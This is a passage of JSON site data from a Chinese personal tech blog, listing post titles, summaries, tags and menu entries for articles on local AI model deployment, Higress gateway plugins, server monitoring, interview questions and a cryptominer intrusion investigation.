MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":15,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""},{"id":"4d955058-b605-46cf-b242-1535b732af30","date":{"start_date":"2024-04-05"},"type":"Post","category":"万里长征","slug":"article/240405-LM","tags":["面试","推荐"],"summary":"常见面试题汇总","title":"万里长征","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-07T09:23:11.250Z","lastEditedDay":"2024-4-7","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"},{"name":"推荐","color":"red"}],"password":""},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"2024-3-25","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"2024-3-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"2024-3-20","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"2024-3-19","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}]